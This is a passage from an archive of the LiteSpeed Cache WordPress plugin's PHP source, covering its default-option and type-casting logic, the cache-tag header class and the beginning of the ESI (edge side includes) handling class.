		self::O_CACHE_LOGIN_COOKIE => '',
		self::O_CACHE_VARY_COOKIES => [],
		self::O_CACHE_EXC_COOKIES => [],
		self::O_CACHE_EXC_USERAGENTS => [],
		self::O_CACHE_TTL_BROWSER => 0,

		self::O_PURGE_ON_UPGRADE => false,

		self::O_OBJECT => false,
		self::O_OBJECT_KIND => false,
		self::O_OBJECT_HOST => '',
		self::O_OBJECT_PORT => 0,
		self::O_OBJECT_LIFE => 0,
		self::O_OBJECT_PERSISTENT => false,
		self::O_OBJECT_ADMIN => false,
		self::O_OBJECT_TRANSIENTS => false,
		self::O_OBJECT_DB_ID => 0,
		self::O_OBJECT_USER => '',
		self::O_OBJECT_PSWD => '',
		self::O_OBJECT_GLOBAL_GROUPS => [],
		self::O_OBJECT_NON_PERSISTENT_GROUPS => [],

		// Debug
		self::O_DEBUG_DISABLE_ALL => false,
		self::O_DEBUG => false,
		self::O_DEBUG_IPS => [],
		self::O_DEBUG_LEVEL => false,
		self::O_DEBUG_FILESIZE => 0,
		self::O_DEBUG_COLLAPSE_QS => false,
		self::O_DEBUG_INC => [],
		self::O_DEBUG_EXC => [],
		self::O_DEBUG_EXC_STRINGS => [],

		self::O_IMG_OPTM_WEBP => false,
	];

	/**
	 * Multi-switch options: option ID => max state (int).
	 * NOTE: all the val of following items will be int while not bool
	 *
	 * @var array<string,int>
	 */
	protected static $_multi_switch_list = [
		self::O_DEBUG => 2,
		self::O_OPTM_JS_DEFER => 2,
		self::O_IMG_OPTM_WEBP => 2,
	];

	/**
	 * Correct the option type.
	 *
	 * TODO: add similar network func
	 *
	 * @since 3.0.3
	 *
	 * @param mixed  $val          Incoming value.
	 * @param string $id           Option ID.
	 * @param bool   $is_site_conf Whether using site-level defaults.
	 * @return mixed
	 */
	protected function type_casting( $val, $id, $is_site_conf = false ) {
		$default_v = ! $is_site_conf ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ];
		if ( is_bool( $default_v ) ) {
			if ( 'true' === $val ) {
				$val = true;
			}
			if ( 'false' === $val ) {
				$val = false;
			}

			$max = $this->_conf_multi_switch( $id );
			if ( $max ) {
				$val  = (int) $val;
				$val %= $max + 1;
			} else {
				$val = (bool) $val;
			}
		} elseif ( is_array( $default_v ) ) {
			// from textarea input
			if ( ! is_array( $val ) ) {
				$val = Utility::sanitize_lines( $val, $this->_conf_filter( $id ) );
			}
		} elseif ( ! is_string( $default_v ) ) {
			$val = (int) $val;
		} else {
			// Check if the string has a limit set
			$val = $this->_conf_string_val( $id, $val );
		}

		return $val;
	}

	/**
	 * Load default network settings from data.ini
	 *
	 * @since 3.0
	 * @return array<string,mixed>
	 */
	public function load_default_site_vals() {
		// Load network_default.json
		if ( file_exists( LSCWP_DIR . 'data/const.network_default.json' ) ) {
			$default_ini_cfg = json_decode( File::read( LSCWP_DIR . 'data/const.network_default.json' ), true );
			foreach ( self::$_default_site_options as $k => $v ) {
				if ( ! array_key_exists( $k, $default_ini_cfg ) ) {
					continue;
				}

				// Parse value in ini file
				$ini_v = $this->type_casting( $default_ini_cfg[ $k ], $k, true );

				if ( $ini_v === $v ) {
					continue;
				}

				self::$_default_site_options[ $k ] = $ini_v;
			}
		}

		self::$_default_site_options[ self::_VER ] = Core::VER;

		return self::$_default_site_options;
	}

	/**
	 * Load default values from default.json
	 *
	 * @since 3.0
	 * @access public
	 * @return array<string,mixed>
	 */
	public function load_default_vals() {
		// Load default.json
		if ( file_exists( LSCWP_DIR . 'data/const.default.json' ) ) {
			$default_ini_cfg = json_decode( File::read( LSCWP_DIR . 'data/const.default.json' ), true );
			foreach ( self::$_default_options as $k => $v ) {
				if ( ! array_key_exists( $k, $default_ini_cfg ) ) {
					continue;
				}

				// Parse value in ini file
				$ini_v = $this->type_casting( $default_ini_cfg[ $k ], $k );

				// NOTE: Multiple lines value must be stored as array
				/**
				 * Special handler for CDN_mapping
				 *
				 * Format in .ini:
				 *      [cdn-mapping]
				 *      url[0] = 'https://example.com/'
				 *      inc_js[0] = true
				 *      filetype[0] = '.css
				 *                     .js
				 *                     .jpg'
				 *
				 * format out:
				 *      [0] = [ 'url' => 'https://example.com', 'inc_js' => true, 'filetype' => [ '.css', '.js', '.jpg' ] ]
				 */
				if ( self::O_CDN_MAPPING === $k ) {
					$mapping_fields = [
						self::CDN_MAPPING_URL,
						self::CDN_MAPPING_INC_IMG,
						self::CDN_MAPPING_INC_CSS,
						self::CDN_MAPPING_INC_JS,
						self::CDN_MAPPING_FILETYPE, // Array
					];
					$ini_v2         = [];
					foreach ( $ini_v[ self::CDN_MAPPING_URL ] as $k2 => $v2 ) {
						// $k2 is numeric
						$this_row = [];
						foreach ( $mapping_fields as $v3 ) {
							$this_v = ! empty( $ini_v[ $v3 ][ $k2 ] ) ? $ini_v[ $v3 ][ $k2 ] : false;
							if ( self::CDN_MAPPING_URL === $v3 ) {
								if ( empty( $this_v ) ) {
									$this_v = '';
								}
							}
							if ( self::CDN_MAPPING_FILETYPE === $v3 ) {
								$this_v = $this_v ? Utility::sanitize_lines( $this_v ) : []; // Note: Since v3.0 its already an array
							}
							$this_row[ $v3 ] = $this_v;
						}
						$ini_v2[ $k2 ] = $this_row;
					}
					$ini_v = $ini_v2;
				}

				if ( $ini_v === $v ) {
					continue;
				}

				self::$_default_options[ $k ] = $ini_v;
			}
		}

		// Load internal default vals
		// Setting the default bool to int is also to avoid type casting override it back to bool
		self::$_default_options[ self::O_CACHE ] = is_multisite() ? self::VAL_ON2 : self::VAL_ON; // For multi site, default is 2 (Use Network Admin Settings). For single site, default is 1 (Enabled).

		// Load default vals containing variables
		if ( ! self::$_default_options[ self::O_CDN_ORI_DIR ] ) {
			self::$_default_options[ self::O_CDN_ORI_DIR ] = LSCWP_CONTENT_FOLDER . "\nwp-includes";
			self::$_default_options[ self::O_CDN_ORI_DIR ] = explode( "\n", self::$_default_options[ self::O_CDN_ORI_DIR ] );
			self::$_default_options[ self::O_CDN_ORI_DIR ] = array_map( 'trim', self::$_default_options[ self::O_CDN_ORI_DIR ] );
		}

		// Set security key if not initialized yet
		if ( ! self::$_default_options[ self::HASH ] ) {
			self::$_default_options[ self::HASH ] = Str::rrand( 32 );
		}

		self::$_default_options[ self::_VER ] = Core::VER;

		return self::$_default_options;
	}

	/**
	 * Format the string value.
	 *
	 * @since 3.0
	 *
	 * @param string $id  Option ID.
	 * @param mixed  $val Value.
	 * @return string
	 */
	protected function _conf_string_val( $id, $val ) {
		return (string) $val;
	}

	/**
	 * If the switch setting is a triple value or not.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return int|false
	 */
	protected function _conf_multi_switch( $id ) {
		if ( ! empty( self::$_multi_switch_list[ $id ] ) ) {
			return self::$_multi_switch_list[ $id ];
		}

		if ( self::O_CACHE === $id && is_multisite() ) {
			return self::VAL_ON2;
		}

		return false;
	}

	/**
	 * Append a new multi switch max limit for the bool option.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @param int    $v  Max state.
	 * @return void
	 */
	public static function set_multi_switch( $id, $v ) {
		self::$_multi_switch_list[ $id ] = $v;
	}

	/**
	 * Generate const name based on $id.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return string
	 */
	public static function conf_const( $id ) {
		return 'LITESPEED_CONF__' . strtoupper( str_replace( '-', '__', $id ) );
	}

	/**
	 * Filter to be used when saving setting.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return string|false
	 */
	protected function _conf_filter( $id ) {
		$filters = [
			self::O_MEDIA_LAZY_EXC => 'uri',
			self::O_DEBUG_INC => 'relative',
			self::O_DEBUG_EXC => 'relative',
			self::O_MEDIA_LAZY_URI_EXC => 'relative',
			self::O_CACHE_PRIV_URI => 'relative',
			self::O_PURGE_TIMED_URLS => 'relative',
			self::O_CACHE_FORCE_URI => 'relative',
			self::O_CACHE_FORCE_PUB_URI => 'relative',
			self::O_CACHE_EXC => 'relative',
			// self::O_OPTM_CSS_EXC     => 'uri', // Need to comment out for inline & external CSS
			// self::O_OPTM_JS_EXC          => 'uri',
			self::O_OPTM_EXC => 'relative',
			self::O_OPTM_CCSS_SEP_URI => 'uri',
			// self::O_OPTM_JS_DEFER_EXC    => 'uri',
			self::O_OPTM_DNS_PREFETCH => 'domain',
			self::O_CDN_ORI => 'noprotocol,trailingslash', // `Original URLs`
			// self::O_OPTM_LOCALIZE_DOMAINS    => 'noprotocol', // `Localize Resources`
			// self::   => '',
			// self::   => '',
		];

		if ( ! empty( $filters[ $id ] ) ) {
			return $filters[ $id ];
		}

		return false;
	}

	/**
	 * If the setting changes worth a purge or not.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return bool
	 */
	protected function _conf_purge( $id ) {
		$check_ids = [
			self::O_MEDIA_LAZY_URI_EXC,
			self::O_OPTM_EXC,
			self::O_CACHE_PRIV_URI,
			self::O_PURGE_TIMED_URLS,
			self::O_CACHE_FORCE_URI,
			self::O_CACHE_FORCE_PUB_URI,
			self::O_CACHE_EXC,
		];

		return in_array( $id, $check_ids, true );
	}

	/**
	 * If the setting changes worth a purge ALL or not.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return bool
	 */
	protected function _conf_purge_all( $id ) {
		$check_ids = [ self::O_CACHE, self::O_ESI, self::O_DEBUG_DISABLE_ALL, self::NETWORK_O_USE_PRIMARY ];

		return in_array( $id, $check_ids, true );
	}

	/**
	 * If the setting is a password or not.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return bool
	 */
	protected function _conf_pswd( $id ) {
		$check_ids = [ self::O_CDN_CLOUDFLARE_KEY, self::O_OBJECT_PSWD ];

		return in_array( $id, $check_ids, true );
	}

	/**
	 * If the setting is cron related or not.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return bool
	 */
	protected function _conf_cron( $id ) {
		$check_ids = [ self::O_OPTM_CSS_ASYNC, self::O_MEDIA_PLACEHOLDER_RESP_ASYNC, self::O_DISCUSS_AVATAR_CRON, self::O_IMG_OPTM_AUTO, self::O_CRAWLER ];

		return in_array( $id, $check_ids, true );
	}

	/**
	 * If the setting changes worth a purge, return the tag.
	 *
	 * @since 3.0
	 *
	 * @param string $id Option ID.
	 * @return string|false
	 */
	protected function _conf_purge_tag( $id ) {
		$check_ids = [
			self::O_CACHE_PAGE_LOGIN => Tag::TYPE_LOGIN,
		];

		if ( ! empty( $check_ids[ $id ] ) ) {
			return $check_ids[ $id ];
		}

		return false;
	}

	/**
	 * Generate server vars.
	 *
	 * @since 2.4.1
	 *
	 * @return array<string,mixed> Map of constant name => value|null.
	 */
	public function server_vars() {
		$consts      = [
			'WP_SITEURL',
			'WP_HOME',
			'WP_CONTENT_DIR',
			'SHORTINIT',
			'LSCWP_CONTENT_DIR',
			'LSCWP_CONTENT_FOLDER',
			'LSCWP_DIR',
			'LITESPEED_TIME_OFFSET',
			'LITESPEED_SERVER_TYPE',
			'LITESPEED_CLI',
			'LITESPEED_ALLOWED',
			'LITESPEED_ON',
			'LSWCP_TAG_PREFIX',
			'COOKIEHASH',
		];
		$server_vars = [];
		foreach ( $consts as $v ) {
			$server_vars[ $v ] = defined( $v ) ? constant( $v ) : null;
		}

		return $server_vars;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/tag.cls.php000064400000022411151031165260017122 0ustar00<?php
// phpcs:ignoreFile

/**
 * The plugin cache-tag class for X-LiteSpeed-Tag
 *
 * @since       1.1.3
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Tag extends Root {

	const TYPE_FEED                    = 'FD';
	const TYPE_FRONTPAGE               = 'F';
	const TYPE_HOME                    = 'H';
	const TYPE_PAGES                   = 'PGS';
	const TYPE_PAGES_WITH_RECENT_POSTS = 'PGSRP';
	const TYPE_HTTP                    = 'HTTP.';
	const TYPE_POST                    = 'Po.'; // Post. Cannot use P, reserved for litemage.
	const TYPE_ARCHIVE_POSTTYPE        = 'PT.';
	const TYPE_ARCHIVE_TERM            = 'T.'; // for is_category|is_tag|is_tax
	const TYPE_AUTHOR                  = 'A.';
	const TYPE_ARCHIVE_DATE            = 'D.';
	const TYPE_BLOG                    = 'B.';
	const TYPE_LOGIN                   = 'L';
	const TYPE_URL                     = 'URL.';
	const TYPE_WIDGET                  = 'W.';
	const TYPE_ESI                     = 'ESI.';
	const TYPE_REST                    = 'REST';
	const TYPE_AJAX                    = 'AJAX.';
	const TYPE_LIST                    = 'LIST';
	const TYPE_MIN                     = 'MIN';
	const TYPE_LOCALRES                = 'LOCALRES';

	const X_HEADER = 'X-LiteSpeed-Tag';

	private static $_tags          = array();
	private static $_tags_priv     = array( 'tag_priv' );
	public static $error_code_tags = array( 403, 404, 500 );

	/**
	 * Initialize
	 *
	 * @since 4.0
	 */
	public function init() {
		// register recent posts widget tag before theme renders it to make it work
		add_filter('widget_posts_args', array( $this, 'add_widget_recent_posts' ));
	}

	/**
	 * Check if the login page is cacheable.
	 * If not, unset the cacheable member variable.
	 *
	 * NOTE: This is checked separately because login page doesn't go through WP logic.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function check_login_cacheable() {
		if (!$this->conf(Base::O_CACHE_PAGE_LOGIN)) {
			return;
		}
		if (Control::isset_notcacheable()) {
			return;
		}

		if (!empty($_GET)) {
			Control::set_nocache('has GET request');
			return;
		}

		$this->cls('Control')->set_cacheable();

		self::add(self::TYPE_LOGIN);

		// we need to send lsc-cookie manually to make it be sent to all other users when is cacheable
		$list = headers_list();
		if (empty($list)) {
			return;
		}
		foreach ($list as $hdr) {
			if (strncasecmp($hdr, 'set-cookie:', 11) == 0) {
				$cookie = substr($hdr, 12);
				@header('lsc-cookie: ' . $cookie, false);
			}
		}
	}

	/**
	 * Register purge tag for pages with recent posts widget
	 * of the plugin.
	 *
	 * @since    1.0.15
	 * @access   public
	 * @param array $params [WordPress params for widget_posts_args]
	 */
	public function add_widget_recent_posts( $params ) {
		self::add(self::TYPE_PAGES_WITH_RECENT_POSTS);
		return $params;
	}

	/**
	 * Adds cache tags to the list of cache tags for the current page.
	 *
	 * @since 1.0.5
	 * @access public
	 * @param mixed $tags A string or array of cache tags to add to the current list.
	 */
	public static function add( $tags ) {
		if (!is_array($tags)) {
			$tags = array( $tags );
		}

		Debug2::debug('💰 [Tag] Add ', $tags);

		self::$_tags = array_merge(self::$_tags, $tags);

		// Send purge header immediately
		$tag_header = self::cls()->output(true);
		@header($tag_header);
	}

	/**
	 * Add a post id to cache tag
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function add_post( $pid ) {
		self::add(self::TYPE_POST . $pid);
	}

	/**
	 * Add a widget id to cache tag
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function add_widget( $id ) {
		self::add(self::TYPE_WIDGET . $id);
	}

	/**
	 * Add a private ESI to cache tag
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function add_private_esi( $tag ) {
		self::add_private(self::TYPE_ESI . $tag);
	}

	/**
	 * Adds private cache tags to the list of cache tags for the current page.
	 *
	 * @since 1.6.3
	 * @access public
	 * @param mixed $tags A string or array of cache tags to add to the current list.
	 */
	public static function add_private( $tags ) {
		if (!is_array($tags)) {
			$tags = array( $tags );
		}

		self::$_tags_priv = array_merge(self::$_tags_priv, $tags);
	}

	/**
	 * Return tags for Admin QS
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function output_tags() {
		return self::$_tags;
	}

	/**
	 * Will get a hash of the URI. Removes query string and appends a '/' if it is missing.
	 *
	 * @since 1.0.12
	 * @access public
	 * @param string  $uri The uri to get the hash of.
	 * @param boolean $ori Return the original url or not
	 * @return bool|string False on input error, hash otherwise.
	 */
	public static function get_uri_tag( $uri, $ori = false ) {
		$no_qs = strtok($uri, '?');
		if (empty($no_qs)) {
			return false;
		}
		$slashed = trailingslashit($no_qs);

		// If only needs uri tag
		if ($ori) {
			return $slashed;
		}

		if (defined('LSCWP_LOG')) {
			return self::TYPE_URL . $slashed;
		}
		return self::TYPE_URL . md5($slashed);
	}

	/**
	 * Get the unique tag based on self url.
	 *
	 * @since 1.1.3
	 * @access public
	 * @param boolean $ori Return the original url or not
	 */
	public static function build_uri_tag( $ori = false ) {
		return self::get_uri_tag(urldecode($_SERVER['REQUEST_URI']), $ori);
	}

	/**
	 * Gets the cache tags to set for the page.
	 *
	 * This includes site wide post types (e.g. front page) as well as
	 * any third party plugin specific cache tags.
	 *
	 * @since 1.0.0
	 * @access private
	 * @return array The list of cache tags to set.
	 */
	private static function _build_type_tags() {
		$tags = array();

		$tags[] = Utility::page_type();

		$tags[] = self::build_uri_tag();

		if (is_front_page()) {
			$tags[] = self::TYPE_FRONTPAGE;
		} elseif (is_home()) {
			$tags[] = self::TYPE_HOME;
		}

		global $wp_query;
		if (isset($wp_query)) {
			$queried_obj_id = get_queried_object_id();
			if (is_archive()) {
				// An Archive is a Category, Tag, Author, Date, Custom Post Type or Custom Taxonomy based pages.
				if (is_category() || is_tag() || is_tax()) {
					$tags[] = self::TYPE_ARCHIVE_TERM . $queried_obj_id;
				} elseif (is_post_type_archive() && ($post_type = get_post_type())) {
					$tags[] = self::TYPE_ARCHIVE_POSTTYPE . $post_type;
				} elseif (is_author()) {
					$tags[] = self::TYPE_AUTHOR . $queried_obj_id;
				} elseif (is_date()) {
					global $post;

					if ($post && isset($post->post_date)) {
						$date = $post->post_date;
						$date = strtotime($date);
						if (is_day()) {
							$tags[] = self::TYPE_ARCHIVE_DATE . date('Ymd', $date);
						} elseif (is_month()) {
							$tags[] = self::TYPE_ARCHIVE_DATE . date('Ym', $date);
						} elseif (is_year()) {
							$tags[] = self::TYPE_ARCHIVE_DATE . date('Y', $date);
						}
					}
				}
			} elseif (is_singular()) {
				// $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
				$tags[] = self::TYPE_POST . $queried_obj_id;

				if (is_page()) {
					$tags[] = self::TYPE_PAGES;
				}
			} elseif (is_feed()) {
				$tags[] = self::TYPE_FEED;
			}
		}

		// Check REST API
		if (REST::cls()->is_rest()) {
			$tags[] = self::TYPE_REST;

			$path = !empty($_SERVER['SCRIPT_URL']) ? $_SERVER['SCRIPT_URL'] : false;
			if ($path) {
				// posts collections tag
				if (substr($path, -6) == '/posts') {
					$tags[] = self::TYPE_LIST; // Not used for purge yet
				}

				// single post tag
				global $post;
				if (!empty($post->ID) && substr($path, -strlen($post->ID) - 1) === '/' . $post->ID) {
					$tags[] = self::TYPE_POST . $post->ID;
				}

				// pages collections & single page tag
				if (stripos($path, '/pages') !== false) {
					$tags[] = self::TYPE_PAGES;
				}
			}
		}

		// Append AJAX action tag
		if (Router::is_ajax() && !empty($_REQUEST['action'])) {
			$tags[] = self::TYPE_AJAX . $_REQUEST['action'];
		}

		return $tags;
	}

	/**
	 * Generate all cache tags before output
	 *
	 * @access private
	 * @since 1.1.3
	 */
	private static function _finalize() {
		// run 3rdparty hooks to tag
		do_action('litespeed_tag_finalize');
		// generate wp tags
		if (!defined('LSCACHE_IS_ESI')) {
			$type_tags   = self::_build_type_tags();
			self::$_tags = array_merge(self::$_tags, $type_tags);
		}

		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			self::$_tags[] = 'guest';
		}

		// append blog main tag
		self::$_tags[] = '';
		// removed duplicates
		self::$_tags = array_unique(self::$_tags);
	}

	/**
	 * Sets up the Cache Tags header.
	 * ONLY need to run this if is cacheable
	 *
	 * @since 1.1.3
	 * @access public
	 * @return string empty string if empty, otherwise the cache tags header.
	 */
	public function output( $no_finalize = false ) {
		if (defined('LSCACHE_NO_CACHE') && LSCACHE_NO_CACHE) {
			return;
		}

		if (!$no_finalize) {
			self::_finalize();
		}

		$prefix_tags = array();
		/**
		 * Only append blog_id when is multisite
		 *
		 * @since 2.9.3
		 */
		$prefix = LSWCP_TAG_PREFIX . (is_multisite() ? get_current_blog_id() : '') . '_';

		// If is_private and has private tags, append them first, then specify prefix to `public` for public tags
		if (Control::is_private()) {
			foreach (self::$_tags_priv as $priv_tag) {
				$prefix_tags[] = $prefix . $priv_tag;
			}
			$prefix = 'public:' . $prefix;
		}

		foreach (self::$_tags as $tag) {
			$prefix_tags[] = $prefix . $tag;
		}

		$hdr = self::X_HEADER . ': ' . implode(',', $prefix_tags);

		return $hdr;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/esi.cls.php000064400000066272151031165260017144 0ustar00<?php
// phpcs:ignoreFile

/**
 * The ESI class.
 *
 * This is used to define all esi related functions.
 *
 * @since       1.1.3
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class ESI extends Root {

	const LOG_TAG = '⏺';

	private static $has_esi      = false;
	private static $_combine_ids = array();
	private $esi_args            = null;
	private $_esi_preserve_list  = array();
	private $_nonce_actions      = array( -1 => '' ); // val is cache control

	const QS_ACTION = 'lsesi';
	const QS_PARAMS = 'esi';
	const COMBO     = '__combo'; // ESI include combine='main' handler

	const PARAM_ARGS     = 'args';
	const PARAM_ID       = 'id';
	const PARAM_INSTANCE = 'instance';
	const PARAM_NAME     = 'name';

	const WIDGET_O_ESIENABLE = 'widget_esi_enable';
	const WIDGET_O_TTL       = 'widget_ttl';

	/**
	 * Confructor of ESI
	 *
	 * @since  1.2.0
	 * @since  4.0 Change to be after Vary init in hook 'after_setup_theme'
	 */
	public function init() {
		/**
		 * Bypass ESI related funcs if disabled ESI to fix potential DIVI compatibility issue
		 *
		 * @since  2.9.7.2
		 */
		if (Router::is_ajax() || !$this->cls('Router')->esi_enabled()) {
			return;
		}

		// Guest mode, don't need to use ESI
		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			return;
		}

		if (defined('LITESPEED_ESI_OFF')) {
			return;
		}

		// If page is not cacheable
		if (defined('DONOTCACHEPAGE') && apply_filters('litespeed_const_DONOTCACHEPAGE', DONOTCACHEPAGE)) {
			return;
		}

		// Init ESI in `after_setup_theme` hook after detected if LITESPEED_DISABLE_ALL is ON or not
		$this->_hooks();

		/**
		 * Overwrite wp_create_nonce func
		 *
		 * @since  2.9.5
		 */
		$this->_transform_nonce();

		!defined('LITESPEED_ESI_INITED') && define('LITESPEED_ESI_INITED', true);
	}

	/**
	 * Init ESI related hooks
	 *
	 * Load delayed by hook to give the ability to bypass by LITESPEED_DISABLE_ALL const
	 *
	 * @since 2.9.7.2
	 * @since  4.0 Changed to private from public
	 * @access private
	 */
	private function _hooks() {
		add_filter('template_include', array( $this, 'esi_template' ), 99999);

		add_action('load-widgets.php', __NAMESPACE__ . '\Purge::purge_widget');
		add_action('wp_update_comment_count', __NAMESPACE__ . '\Purge::purge_comment_widget');

		/**
		 * Recover REQUEST_URI
		 *
		 * @since  1.8.1
		 */
		if (!empty($_GET[self::QS_ACTION])) {
			self::debug('ESI req');
			$this->_register_esi_actions();
		}

		/**
		 * Shortcode ESI
		 *
		 * To use it, just change the original shortcode as below:
		 *      old: [someshortcode aa='bb']
		 *      new: [esi someshortcode aa='bb' cache='private,no-vary' ttl='600']
		 *
		 *  1. `cache` attribute is optional, default to 'public,no-vary'.
		 *  2. `ttl` attribute is optional, default is your public TTL setting.
		 *  3. `_ls_silence` attribute is optional, default is false.
		 *
		 * @since  2.8
		 * @since  2.8.1 Check is_admin for Elementor compatibility #726013
		 */
		if (!is_admin()) {
			add_shortcode('esi', array( $this, 'shortcode' ));
		}
	}

	/**
	 * Take over all nonce calls and transform to ESI
	 *
	 * @since  2.9.5
	 */
	private function _transform_nonce() {
		if (is_admin()) {
			return;
		}

		// Load ESI nonces in conf
		$nonces = $this->conf(Base::O_ESI_NONCE);
		add_filter('litespeed_esi_nonces', array( $this->cls('Data'), 'load_esi_nonces' ));
		if ($nonces = apply_filters('litespeed_esi_nonces', $nonces)) {
			foreach ($nonces as $action) {
				$this->nonce_action($action);
			}
		}

		add_action('litespeed_nonce', array( $this, 'nonce_action' ));
	}

	/**
	 * Register a new nonce action to convert it to ESI
	 *
	 * @since  2.9.5
	 */
	public function nonce_action( $action ) {
		// Split the Cache Control
		$action  = explode(' ', $action);
		$control = !empty($action[1]) ? $action[1] : '';
		$action  = $action[0];

		// Wildcard supported
		$action = Utility::wildcard2regex($action);

		if (array_key_exists($action, $this->_nonce_actions)) {
			return;
		}

		$this->_nonce_actions[$action] = $control;

		// Debug2::debug('[ESI] Appended nonce action to nonce list [action] ' . $action);
	}

	/**
	 * Check if an action is registered to replace ESI
	 *
	 * @since 2.9.5
	 */
	public function is_nonce_action( $action ) {
		// If GM not run yet, then ESI not init yet, then ESI nonce will not be allowed even nonce func replaced.
		if (!defined('LITESPEED_ESI_INITED')) {
			return null;
		}

		if (is_admin()) {
			return null;
		}

		if (defined('LITESPEED_ESI_OFF')) {
			return null;
		}

		foreach ($this->_nonce_actions as $k => $v) {
			if (strpos($k, '*') !== false) {
				if (preg_match('#' . $k . '#iU', $action)) {
					return $v;
				}
			} elseif ($k == $action) {
				return $v;
			}
		}

		return null;
	}

	/**
	 * Shortcode ESI
	 *
	 * @since 2.8
	 * @access public
	 */
	public function shortcode( $atts ) {
		if (empty($atts[0])) {
			Debug2::debug('[ESI] ===shortcode wrong format', $atts);
			return 'Wrong shortcode esi format';
		}

		$cache = 'public,no-vary';
		if (!empty($atts['cache'])) {
			$cache = $atts['cache'];
			unset($atts['cache']);
		}

		$silence = false;
		if (!empty($atts['_ls_silence'])) {
			$silence = true;
		}

		do_action('litespeed_esi_shortcode-' . $atts[0]);

		// Show ESI link
		return $this->sub_esi_block('esi', 'esi-shortcode', $atts, $cache, $silence);
	}

	/**
	 * Check if the requested page has esi elements. If so, return esi on
	 * header.
	 *
	 * @since 1.1.3
	 * @access public
	 * @return string Esi On header if request has esi, empty string otherwise.
	 */
	public static function has_esi() {
		return self::$has_esi;
	}

	/**
	 * Sets that the requested page has esi elements.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function set_has_esi() {
		self::$has_esi = true;
	}

	/**
	 * Register all of the hooks related to the esi logic of the plugin.
	 * Specifically when the page IS an esi page.
	 *
	 * @since    1.1.3
	 * @access   private
	 */
	private function _register_esi_actions() {
		/**
		 * This hook is in `init`
		 * For any plugin need to check if page is ESI, use `LSCACHE_IS_ESI` check after `init` hook
		 */
		!defined('LSCACHE_IS_ESI') && define('LSCACHE_IS_ESI', $_GET[self::QS_ACTION]); // Reused this to ESI block ID

		!empty($_SERVER['ESI_REFERER']) && defined('LSCWP_LOG') && Debug2::debug('[ESI] ESI_REFERER: ' . $_SERVER['ESI_REFERER']);

		/**
		 * Only when ESI's parent is not REST, replace REQUEST_URI to avoid breaking WP5 editor REST call
		 *
		 * @since 2.9.3
		 */
		if (!empty($_SERVER['ESI_REFERER']) && !$this->cls('REST')->is_rest($_SERVER['ESI_REFERER'])) {
			self::debug('overwrite REQUEST_URI to ESI_REFERER [from] ' . $_SERVER['REQUEST_URI'] . ' [to] ' . $_SERVER['ESI_REFERER']);
			if (!empty($_SERVER['ESI_REFERER'])) {
				$_SERVER['REQUEST_URI'] = $_SERVER['ESI_REFERER'];
				if (substr(get_option('permalink_structure'), -1) === '/' && strpos($_SERVER['ESI_REFERER'], '?') === false) {
					$_SERVER['REQUEST_URI'] = trailingslashit($_SERVER['ESI_REFERER']);
				}
			}
			// Prevent from 301 redirecting
			if (!empty($_SERVER['SCRIPT_URI'])) {
				$SCRIPT_URI         = parse_url($_SERVER['SCRIPT_URI']);
				$SCRIPT_URI['path'] = $_SERVER['REQUEST_URI'];
				Utility::compatibility();
				$_SERVER['SCRIPT_URI'] = http_build_url($SCRIPT_URI);
			}
		}

		if (!empty($_SERVER['ESI_CONTENT_TYPE']) && strpos($_SERVER['ESI_CONTENT_TYPE'], 'application/json') === 0) {
			add_filter('litespeed_is_json', '__return_true');
		}

		/**
		 * Make REST call be able to parse ESI
		 * NOTE: Not effective due to ESI req are all to `/` yet
		 *
		 * @since 2.9.4
		 */
		add_action('rest_api_init', array( $this, 'load_esi_block' ), 101);

		// Register ESI blocks
		add_action('litespeed_esi_load-widget', array( $this, 'load_widget_block' ));
		add_action('litespeed_esi_load-admin-bar', array( $this, 'load_admin_bar_block' ));
		add_action('litespeed_esi_load-comment-form', array( $this, 'load_comment_form_block' ));

		add_action('litespeed_esi_load-nonce', array( $this, 'load_nonce_block' ));
		add_action('litespeed_esi_load-esi', array( $this, 'load_esi_shortcode' ));

		add_action('litespeed_esi_load-' . self::COMBO, array( $this, 'load_combo' ));
	}

	/**
	 * Hooked to the template_include action.
	 * Selects the esi template file when the post type is a LiteSpeed ESI page.
	 *
	 * @since 1.1.3
	 * @access public
	 * @param string $template The template path filtered.
	 * @return string The new template path.
	 */
	public function esi_template( $template ) {
		// Check if is an ESI request
		if (defined('LSCACHE_IS_ESI')) {
			self::debug('calling ESI template');

			return LSCWP_DIR . 'tpl/esi.tpl.php';
		}
		self::debug('calling default template');
		$this->_register_not_esi_actions();
		return $template;
	}

	/**
	 * Register all of the hooks related to the esi logic of the plugin.
	 * Specifically when the page is NOT an esi page.
	 *
	 * @since    1.1.3
	 * @access   private
	 */
	private function _register_not_esi_actions() {
		do_action('litespeed_tpl_normal');

		if (!Control::is_cacheable()) {
			return;
		}

		if (Router::is_ajax()) {
			return;
		}

		add_filter('widget_display_callback', array( $this, 'sub_widget_block' ), 0, 3);

		// Add admin_bar esi
		if (Router::is_logged_in()) {
			remove_action('wp_body_open', 'wp_admin_bar_render', 0); // Remove default Admin bar. Fix https://github.com/elementor/elementor/issues/25198
			remove_action('wp_footer', 'wp_admin_bar_render', 1000);
			add_action('wp_footer', array( $this, 'sub_admin_bar_block' ), 1000);
		}

		// Add comment forum esi for logged-in user or commenter
		if (!Router::is_ajax() && Vary::has_vary()) {
